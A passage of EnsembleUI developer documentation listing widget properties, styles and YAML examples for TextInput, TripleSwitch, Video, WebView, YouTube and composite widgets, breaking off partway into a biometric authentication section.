`orange` | -| inactiveTabColor | integer or string | The color of the un-selected tabs' text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| indicatorColor | integer or string | The color of the selected tab's indicator, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| indicatorThickness | integer | The thickness of the selected tab's indicator | -| margin | string or integer | Margin with CSS-style notation e.g. margin: 5 20 5 | -| borderWidth | integer | The width of border of tabs in integer i.e, 10 . -| borderRadius | integer | The radius of border of tabs in integer like 10, it applies on all sides. -| borderColor | integer or string |The color of borders of the tabs, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange`| - -| - ---- - -# TextInput widget - -The TextInput Widget enables the rendering of interactive text input fields, allowing users to enter and edit text within your application for data input and interaction. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/abc081b1-bcb4-4db6-ae55-7987cb6c418e) - -## Properties - -| Property | Type | Description | -|:------------------------|:-----------------------------------------------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| id | string | ID to be referenced later | -| maxWidth | integer | The max width of this Input widget (default 700). while min vlaue can be `0` and maximum can be `5000` | -| label | string | Label for your widget | -| labelHint | string | Hint text on your label | -| labelStyle | [TextStyle](#TextStyle) | Styling for the label | -| hintText | string | Hint text explaining your widget | -| hintStyle | object | Styling the hint text. Default to theme's bodyMedium styling. [see properties](#hintstyles) | -| required | boolean | Whether the field is required | -| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | -| icon | object | [See properties](#icon) | -| styles | object | [See properties](#styles) | -| validator | object | [See properties](#validator) [Example](https://studio.ensembleui.com/app/a2qNNXgcmhBxfrTMBVGB/screen/AzD8jmw9Xk2zrGa1IVqd) | -| validateOnUserInteraction | boolean | Default: false. When set to true, validates the user's input on every keypress. [Example](https://studio.ensembleui.com/app/a2qNNXgcmhBxfrTMBVGB/screen/AzD8jmw9Xk2zrGa1IVqd) -| value | string | Specifying the value of your Text Input | -| inputType | string | Pick a predefined input type ` default` `email` `phone ` `number` `text` `url` `datetime ` `ipAddress` | -| keyboardAction | string | Specify the action key on native device's soft keyboard | -| obscureText | boolean | whether we should obscure the typed-in text (e.g Social Security) | -| obscureToggle | boolean | enable the toggling between plain and obscure text. | -| readOnly | boolean | When it is true, the text cannot be modified by any shortcut or keyboard operation. | -| selectable | boolean | Default: true. Setting this to true will enable features such as long-pressing the TextField to select text and show the cut/copy/paste menu, and tapping to move the text caret text. Setting it to false would disable copy and paste behavior. See [this](https://api.flutter.dev/flutter/material/TextField/enableInteractiveSelection.html) | -| toolbarDone | boolean | Display the toolbar with done button on top of the keyboard. (defaults to False) | -| textStyle | object | An opaque object that determines the size, color, and decoration of text. Similar properties as hintStyle [see properties](#hintstyles) | -| mask | string | It formats the input by a given mask. Ex: +# (###) ###-##-##. detailed examples can be seen in [Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/abc081b1-bcb4-4db6-ae55-7987cb6c418e) | -| delayedKeyPressDuration | integer | The delay in milliseconds to trigger onDelayedKeyPress ( min : 0) | -| multiline | boolean | Specifies if this TextInput can span multiple lines. (default False) | -| minLines | integer | Specifies the minimum number of lines to start out (applicable for multiline) | -| maxLines | integer | Specifies the maximum number of lines to visually expand to. This will also enable multi-line if this number is greater than 1 and the 'multiline' property is not set. | -| floatLabel | boolean | [floating label example](#floating-label-example) -| autofillHints | array | List of autofill hints used to specify what type of information should be autofilled. Possible values: `"addressCity"`, `"addressCityAndState"`, `"addressState"`, `"birthday"`, `"birthdayDay"`, `"birthdayMonth"`, `"birthdayYear"`, `"countryCode"`, `"countryName"`, `"creditCardExpirationDate"`, `"creditCardExpirationDay"`, `"creditCardExpirationMonth"`, `"creditCardExpirationYear"`, `"creditCardFamilyName"`, `"creditCardGivenName"`, `"creditCardMiddleName"`, `"creditCardName"`, `"creditCardNumber"`, `"creditCardSecurityCode"`, `"creditCardType"`, `"email"`, `"familyName"`, `"fullStreetAddress"`, `"gender"`, `"givenName"`, `"impp"`, `"jobTitle"`, `"language"`, `"location"`, `"middleInitial"`, `"middleName"`, `"name"`, `"namePrefix"`, `"nameSuffix"`, `"newPassword"`, `"newUsername"`, `"nickname"`, `"oneTimeCode"`, `"organizationName"`, `"password"`, `"photo"`, `"postalAddress"`, `"postalAddressExtended"`, `"postalAddressExtendedPostalCode"`, `"postalCode"`, `"streetAddressLevel1"`, `"streetAddressLevel2"`, `"streetAddressLevel3"`, `"streetAddressLevel4"`, `"streetAddressLine1"`, `"streetAddressLine2"`, `"streetAddressLine3"`, `"sublocality"`, `"telephoneNumber"`, `"telephoneNumberAreaCode"`, `"telephoneNumberCountryCode"`, `"telephoneNumberDevice"`, `"telephoneNumberExtension"`, `"telephoneNumberLocal"`, `"telephoneNumberLocalPrefix"`, `"telephoneNumberLocalSuffix"`, `"telephoneNumberNational"`, `"transactionAmount"`, `"transactionCurrency"`, `"url"`, `"username"` | -| maxLength | integer | The maximum number of characters allowed in the text field. If set, the text field will restrict the input to this number of characters. | -| maxLengthEnforcement | string | none, enforced, truncateAfterCompositionEnds. [see properties](#maxlengthenforcement) | - -### Actions - -| Name | description | -| :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| onKeyPress | On every keystroke, call Ensemble's built-in functions or execute code | -| onFocusReceived | Execute an Ensemble action when the field receives focus | -| onFocusLost | Execute an Ensemble action when the field loses focus | -| onChange | Call Ensemble's built-in functions or execute code when the input changes. This event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | -| onDelayedKeyPress | Execute an Action after a brief delay specified by delayedKeyPressDuration (default: 300 ms). Consecutive calls within this delay will reset the timer, useful for minimizing server calls for type-ahead scenarios. | - -### icon - -| Property | Type | Description | -| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| name | string | The name of the icon | -| library | string | Which icon library to use. | -| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| fontSize | integer | Sets the size of the text. | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| fontSize | integer | Sets the size of the text. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | -| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| dismissOnTapOutside | boolean | If set `true` keyboard will be dissmissed when user taps outsides the input area. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | - -### hintStyles - -| Property | Type | Description | -| :----------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| fontSize | integer | Sets the size of the text. | -| fontWeight | string | The thickness of the glyphs used to draw the text. `light` `normal` `bold` `w100` `w200` `w300` `w400` `w500` `w600` `w700` ` w800``w900 ` | -| color | integer or string | The color specification for the text, icons, divider etc, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| overflow | string | Set treatment of text longer than available space `wrap` `visible` `clip` `ellipsis` | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| fontfamily | string | Allows users to chose a specific font-family other than the default one. | -| decoration | string | A linear decoration to draw near the text or whether to slant the glyphs in font. `none` `lineThrough` `underline` `overline` | -| decorationStyle | string | The style in which to paint the text decorations (e.g., dashed). `solid` `double` `dotted` `dashed` `wavy` | -| isItalic | boolean | Whether the text should be italic or not | -| lineHeightMultiple | integer | A multiple of the fontSize to determine the line height. (e.g. 2.0 means the line height is double the height the font size occupies). Default null. (note that 1.0 is not the default depending on the font) | -| letterSpacing | integer | The amount of space (in logical pixels) to add between each letter. A negative value can be used to bring the letters closer. | -| wordSpacing | integer | The amount of space (in logical pixels) to add at each sequence of white-space (i.e. between each word). A negative value can be used to bring the words closer. | -| gradient | object | Using this property we can apply gradient to our text | - -### hintStyles.gradient - -| Property | Type | Description | -| :------- | :----- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| stops | array | The list of color stops, each is a number between 0.0 (where the gradient starts) and 1.0 (where the gradient ends). The number of stops should match the number of colors. | -| start | string | The starting position of the gradient,`topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| end | string | The ending position of the gradient, `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | - -### validator - -| Property | Type | Description | -| :--------- | :------ | :------------------------------------------------------------------------------------- | -| minLength | integer | The minimum number of characters | -| maxLength | integer | The maximum number of characters | -| regex | string | The Regular Expression the input will need to match | -| regexError | string | The customized error message to show when the input does not match the provided regex. | - -#### options for styles.variant - -| Option | Description | -| :-------- | :------------------------------------------------------------------------------------------------------------------- | -| box | draw a Box border around this input widget. This property can be defined in the theme to apply to all Input widgets. | -| underline | draw an Underline below this input widget. This property can be defined in the theme to apply to all Input widgets. | - -### MaxLengthEnforcement - -| Property | Type | Description | -| :--------- | :------ | :------------------------------------------------------------------------------------- | -| none | string | No enforcement applied to the editing value. It's possible to exceed the maxLength. | -| enforced | string | Keep the length of the text input from exceeding the max length even when the text has an unfinished composing region. | -| truncateAfterCompositionEnds | string | Users can still input text if the current value is composing even after reaching the max length limit. After composing ends, the value will be truncated. | - ---- - - -# Text widget - -Display and style text within your application. - ---- - - -# Time widget - -The Time Widget enables the rendering of time input fields, allowing users to select and display time values within your application for time-related functionality and interactions. - ---- - -# TripleSwitch widget - -The TripleSwitch Widget enables the rendering of switch toggle elements, providing users with an intuitive and interactive way to toggle between three states (off, mixed, on) within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/) - -## Properties - -| Property | Type | Description | -| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| id | string | ID to be referenced later -| onChange | action | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | -| value | string | Specifying the value of your switch widget (off, mixed, on) | | -| styles | object | [see properties](#styles) | -| leadingText | string | Sets the text displayed before the checkbox | -| trailingText | string | Sets the text displayed after the checkbox | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| activeColor | integer or string | Sets the active color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| inactiveColor | integer or string | Sets the inactive color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| mixedColor | integer or string | Sets the mixed state color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| activeThumbColor | integer or string | Sets the active thumb color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| inactiveThumbColor | integer or string | Sets the inactive thumb color of the switch widget, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | - ---- - -# Type References -These Types objects are used in multiple widgets. They are defined here for reference. - -## TextStyle -TextStyle allows customization of font, size, color, decoration, and more to enhance the UI's textual elements. - -| Property | Type | Description | -|:-------------------|:-----------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| fontFamily | string or object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports) | -| fontSize | integer | The size of the font. Valid values range from 1 to 1000. | -| lineHeightMultiple | number | A multiplier applied to the font size to determine line height (e.g., 2.0 for double the height of the font size). By default this value varies on the font used. | -| fontWeight | [FontWeight](#FontWeight) | The weight of the font. | -| isItalic | boolean | If true, the text is italicized. | -| color | [Color](#Color) | The color of the text. | -| backgroundColor | [Color](#Color) | The background color of the text | -| gradient | [Gradient](#gradient) | A gradient effect applied to the text. | -| decoration | enum | The text decoration: `none`, `lineThrough`, `underline`, `overline`. | -| decorationStyle | enum | The style of the text decoration (if decoration is not `none`): `solid`, `double`, `dotted`, `dashed`, `wavy`. | -| decorationColor | [Color](#Color) | The color of the decoration. | -| decorationThickness| number | The thickness of the decoration. | -| overflow | enum | Treatment of text exceeding available space: `clip`, `fade`, `ellipsis`, `visible`. | -| letterSpacing | integer | Space between characters in the text. | -| wordSpacing | integer | Space between words in the text. | - -## Gradient - -| Property | Type | Description | -|:---------|:-----------------------------------------------|:-----------------------------------------------------------------------------------------------------------| -| colors | [Color[]](#Color) | An array of colors used for the gradient. | -| stops | number[] | The list of numbers from 0.0 (where the gradient starts) to 1.0 (where the gradient ends), one for each colors specified | -| start | [Alignment](#Alignment) | The starting position of the gradient. | -| end | [Alignment](#Alignment) | The ending position of the gradient. | - -## FontWeight -This property defines the weight (thickness) of the font used in text styling. It includes standard weights and numerical weights for finer control. - -| FontWeight | Description | -|------------|-------------------------------------------| -| light | Lighter font weight. | -| normal | Normal or regular font weight. | -| bold | Bold font weight. | -| w100-w900 | Font weight from 100-900 (light to bold). | - -## Color -This property defines the color based on a pre-defined names (see the supported names below) or as hexdecimal numbers that represent color codes. - -You can use color codes in one of the two ways - -- HTML/CSS format as a string with quotes around it. Starts with # and contains 6 or 8 characters after it. For example, '#FF5733' for orange. `Remember to put quotes around it as # is a comment character in yaml`. -- The common programming language format without quotes. Starts with 0x and has 8 characters after it. For example, 0xFFFF5733 for orange. - -Either way works fine and internally color codes are automatically converted to the programming language format. - -| Name | Description | -|-------------|------------------| -| transparent | Transparent | -| black | Black color. | -| blue | Blue color. | -| white | White color. | -| red | Red color. | -| grey | Grey color. | -| teal | Teal color. | -| amber | Amber color. | -| pink | Pink color. | -| purple | Purple color. | -| yellow | Yellow color. | -| green | Green color. | -| brown | Brown color. | -| cyan | Cyan color. | -| indigo | Indigo color. | -| lime | Lime color. | -| orange | Orange color. | - -## Alignment -This property is used to specify the alignment of an element within its parent. - -| Alignment | Description | -|--------------|-------------------------------------------------------| -| topLeft | Aligns the element at the top-left corner. | -| topCenter | Aligns the element at the top-center. | -| topRight | Aligns the element at the top-right corner. | -| centerLeft | Aligns the element at the center-left side. | -| center | Centers the element both horizontally and vertically. | -| centerRight | Aligns the element at the center-right side. | -| bottomLeft | Aligns the element at the bottom-left corner. | -| bottomCenter | Aligns the element at the bottom-center. | -| bottomRight | Aligns the element at the bottom-right corner. | - -## TapHaptic -This property specifies the type of haptic feedback to be played upon tapping an element. The options are listed in decreasing order of intensity. - -| Haptic Feedback | Description | -|-----------------------|--------------------------------------------------------------------------------------------------| -| heavyImpact | Generates a haptic feedback of the highest intensity. | -| mediumImpact | Provides a haptic feedback of medium intensity. | -| lightImpactHaptic | Offers a lighter haptic impact as feedback. | -| selectionClickHaptic | Produces a mild, click-like haptic feedback, typically used for selection changes. | -| vibrateHaptic | Triggers a standard vibration as haptic feedback. | - -## BackgroundImage -This property configures a background image for a widget, including its source, fit, alignment, and a fallback option. - -| Property | Type | Description | -|:----------|:-----------------------------------------------|:--------------------------------------------------------------------------------------------------------------------| -| source | string | The Image URL to fill the background. | -| fallback | [Widget](#widget-directory) | Return an inline widget or specify a custom widget to be rendered when the backgroundImage fails to load the image. | -| fit | [Fit](#Fit) | How to fit the image within the dimensions. | -| alignment | [Alignment](#Alignment) | Align this image relative to its parent or dimensions. | - - -## Fit - -This property determines how to fit the image within the dimension or the parent container. - -| Fit Mode | Description | -|------------|-----------------------------------------------------------------------------------------------------| -| fill | Stretch our image to fill the dimension, potentially distorting the aspect ratio if necessary. | -| contain | Scale the image such that the entire image is contained within our dimension. | -| cover | Scale the image to fill our dimension, clipping the image as needed. | -| fitWidth | Scale the image to fit the width, and clipping the height if needed. | -| fitHeight | Scale the image to fit the height, and clipping the width if needed. | -| none | Center-Align the original image size, clipping the content if needed. | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | - - -## Border - -| Property | Type | Description | -|:-------------|:---------------------------------------|:-------------------------------------------------------| -| borderRadius | integer / string | Border Radius with CSS-like notation (1 to 4 integers) | -| borderColor | [Color](#Color) | Border color, starting with '0xFF' for full opacity. | -| borderWidth | integer | The thickness of the border. Minimum value: 0. | - -## Shadow -This property defines the shadow properties for a widget, including color, offset, radius, blur radius, and style. - -| Property | Type | Description | -|:-----------------|:------------------|:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| shadowColor | string / number | Box shadow color starting with '0xFF' for full opacity. | -| shadowOffset | array of integers | Offset of the shadow in the format `[x, y]`. | -| shadowRadius | integer | The radius of the shadow. Minimum value: 0. | -| shadowBlurRadius | integer | The blur radius of the shadow. Minimum value: 0. | -| shadowStyle | enum | The blur style to apply on the shadow:
`normal` - Fuzzy inside and outside (default)
`solid` - Solid inside, fuzzy outside.
`outer` - Nothing inside, fuzzy outside.
`inner` - Fuzzy inside, nothing outside. | - ---- - -# Video widget - -The Video Widget enables seamless integration of video content within your application, providing an immersive and engaging multimedia experience for users. - -> To get hands-on experience with `Video` widget, see live example in [Ensemble Studio](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fce92bbb-af8e-403d-bf2d-c10926cc89a0) - -## Properties - -| Property | Type | Description | -| :------- | :----- | :------------------------------- | -| source | string | The URL source to the media file | -| showControls | boolean | Offers options to show/hide video controls. (default true) | -| loadingWidget | Widget | The widget to show when video is loading. | -| repeat | boolean | Video will kept replaying in loop. | -| autoplay | boolean | Automatically start the video when player is loaded. (default False) | -| playbackRate | number | For changing the speed at which the video is displayed | -| volume | number | Changes the volume. (max = 100, min = 0) | -| onChange | Action | Action to execute when the video has changed | -| onStart | Action | Call Ensemble's built-in functions or execute code when video is about to start | -| onEnd | Action | Call Ensemble's built-in functions or execute code when video is about to end | - -## Code Example -``` -Video: - source: https://flutter.github.io/assets-for-api-docs/assets/videos/bee.mp4 - repeat: true - autoplay: true - showControls: false - loadingWidget: - Progress: - display: circular -``` - ---- - - -# WebView widget - -The WebView Widget enables seamless integration of web content within native apps and web apps, providing a versatile and consistent browsing experience across platforms. In addition to its core functionality, WebView also supports the use of cookies. [Learn more here!](/pages/tips-and-tricks/cookies.md) - -```yaml -- WebView: - url: https://messages.mycompany.com - allowedLaunchSchemes: - - "tel:" - - "sms:" - - "mailto:" - - "slack:" - - #note that if you explicitly specify `allowedLaunchSchemes` you must specify the defaults as well if you want them to be allowed otherwise they will be overwritten -``` -```yaml -headerOverrideRules: - - urlPattern: "api.example.com" - matchType: CONTAINS - headers: - SECRET: abc123 - mergeExisting: true -``` - ---- - -# Youtube - -The YouTube feature in EnsembleUI allows integration of YouTube videos into your application, providing users with a rich multimedia experience. - -### YouTube Player Configuration -The YouTube player component offers a range of options for customizing the behavior and appearance of YouTube videos within the application. - -- URL: Specifies the URL of the main YouTube video to be played. -- Video List: Provides a list of additional videos to be displayed in the video player. -- Playback Rate: Allows users to adjust the playback speed of the video. -- Volume: Enables users to set the volume level for audio playback. -- Playback Controls: Offers options to show/hide video controls, enable captions, and display annotations. -- Autoplay: Determines whether the video should start playing automatically when loaded. -- Start and End Seconds: Specifies the start and end times of the video playback. -- Aspect Ratio: Defines the aspect ratio of the video player. - -### Controlling Video Playback -The control buttons allow users to interact with the YouTube player and manage video playback effectively. - -- Prev/Next: Navigate to the previous or next video in the playlist. -- Play/Pause: Start or pause video playback. -- Mute/Unmute: Toggle audio mute/unmute. -- Stop: Stop video playback. - -### Setting Playback Rate and Volume -Users can set the playback rate and volume using the provided text input fields: - -- Set playback rate: Adjust the playback speed of the video. -- Set volume: Control the audio volume of the video. - -## Example Configuration -```yaml - - TextInput: - hintText: Set playback rate - id: playback - - TextInput: - hintText: set volume - id: volume - - YouTube: - volume: ${volume.value} - showFullScreenButton: true - url: https://www.youtube.com/watch?v=4NRXx6U8ABQ - videoList: - - https://www.youtube.com/watch?v=H5v3kku4y6Q - - IoBP24I2lwA - playbackRate: ${playback.value} - enableCaptions: true - showControls: true - showAnnotations: false - id: youtubeId - startSeconds: 10 - endSeconds: 40 - autoplay: true - aspectRatio: 4 / 3 - - Flow: - styles: - gap: 16 - lineGap: 16 - children: - - Button: - label: Prev - onTap: | - youtubeId.previousVideo() - - Button: - label: Play - onTap: | - youtubeId.playVideo() - - Button: - label: Pause - onTap: | - youtubeId.pauseVideo() - - Button: - label: Mute - onTap: | - youtubeId.mute() - - Button: - label: Unmute - onTap: | - youtubeId.unMute() - - Button: - label: Next - onTap: | - youtubeId.nextVideo() - - Button: - label: Stop - onTap: | - youtubeId.stopVideo() -``` - -Note: The YouTube feature is compatible with Native iOS and Android applications. - ---- - -# Composite Widgets - -Composite widgets are a powerful concept in Ensemble where multiple smaller widgets are combined to create a more complex and reusable widget. - -Composite widgets can be composed of any combination of basic UI elements such as buttons, text fields, labels, etc., allowing app developers to create complex UI components without having to recreate the same layout and functionality multiple times. - -## Benefits of Composite Widgets - -1. **Reusability**: Composite widgets can be reused across different parts of an app or even across multiple apps, reducing duplication of code and effort. -2. **Modularity**: By breaking down UI components into smaller widgets, developers can build more modular and maintainable app definitions. -3. **Customization**: Composite widgets allow for easy customization through inputs, enabling app developers to adapt the widget's behavior and appearance to suit different use cases. - -## How to use them - -When using a composite widget, - -1. prefix the widget name with `ensemble` -2. pass required inputs -3. further customize the widget with optional parameters - -```yaml -View: - body: - Column: - children: - - ensemble.RatingStars: - inputs: - rating: 3 - size: 24 - starColor: white - starBackgroundColor: red - starGaps: 8 - starPadding: 8 - starBorderRadius: 40 -``` - -## Directory of composite widgets - -| Name | Kitchen sink example | Output | -| ---- | -------------------- | ------ | -| HorizontalProgressBar | [link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/rlWyrWZrkb6JhxoACptf) | ![HorizontalProgressBar](public/images/composite-widgets/HorizontalProgressBar.png) | -| ImageThumbnailCarousel | [link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/gRexsL9GfS9k6rLswMck) | ![ImageThumbnailCarousel](public/images/composite-widgets/ImageThumbnailCarousel.png) | -| ProfileImageWithIndicator | [link](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/xCU7BvaYzK20NsEuqyNB) | ![ProfileImageWithIndicator](public/images/composite-widgets/ProfileImageWithIndicator.png) | -| RatingStars | [link](https://studio.ensembleui.com/app/8PghcmhtGkWiWffmhDDl/widget/pn4g23nRuQ5D8AsN1qtp) | ![RatingStars](public/images/composite-widgets/RatingStars.png) | - - -## Contributing to Composite Widgets - -Contributions from the community can greatly enhance the functionality and versatility of composite widgets. Here's how you can contribute: - -**1. Create your widget** - -Create an app and follow these guidelines to create your proposed composite widget. - -- In Studio, navigate to widgets tab of your app and create a new widget. -- Your widget should take inputs allowing app developers to customize the widget. Required inputs should be kept to items that without them, the widget cannot be rendered. Styling of the widget should be configurable by using optional inputs. For instance, background of a Column can be made optional. - - ```yaml - Widget: - inputs: - - bgColor # this is optional and defaults to white - body: - Column: - styles: - backgroundColor: '${ bgColor ? bgColor : "white" }' - ``` - -- Avoid setting width and height specially on container widgets such as rows and columns. -- Your widget should be self contained and not rely on definitions outside the widget such as API definitions and storage. - - -**2. Create a screen documenting the widget** - -Within the same app, create a screen to outline inputs and several example usages. See [this example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/rlWyrWZrkb6JhxoACptf) for reference. - -**3. Share your widget on Builder Support** - -Join Ensemble [Discord server](https://dsc.gg/ensembleui), and post a new topic in [Builder Support channel](https://discord.com/channels/1031982848485359626/1088664937288699992) with a link to your app. - -Make sure to make your app public so that reviewers can access it. - - -![Make app public](public/images/make-app-public.jpg) - ---- - -## authenticateByBiometric - -It helps to authenticate user based on biometrics such as face and fingerprint based on sensor available on user's device. - - -> [Note] -> It only works in native devices which has biometric sensors. - - -### Native Configuration - -#### iOS Configuration - -The action works with both Touch ID and Face ID. However, to use the latter, you need to add following in `info.plist` - -```plist -NSFaceIDUsageDescription -Why is my app authenticating using face id? -``` - -#### Android 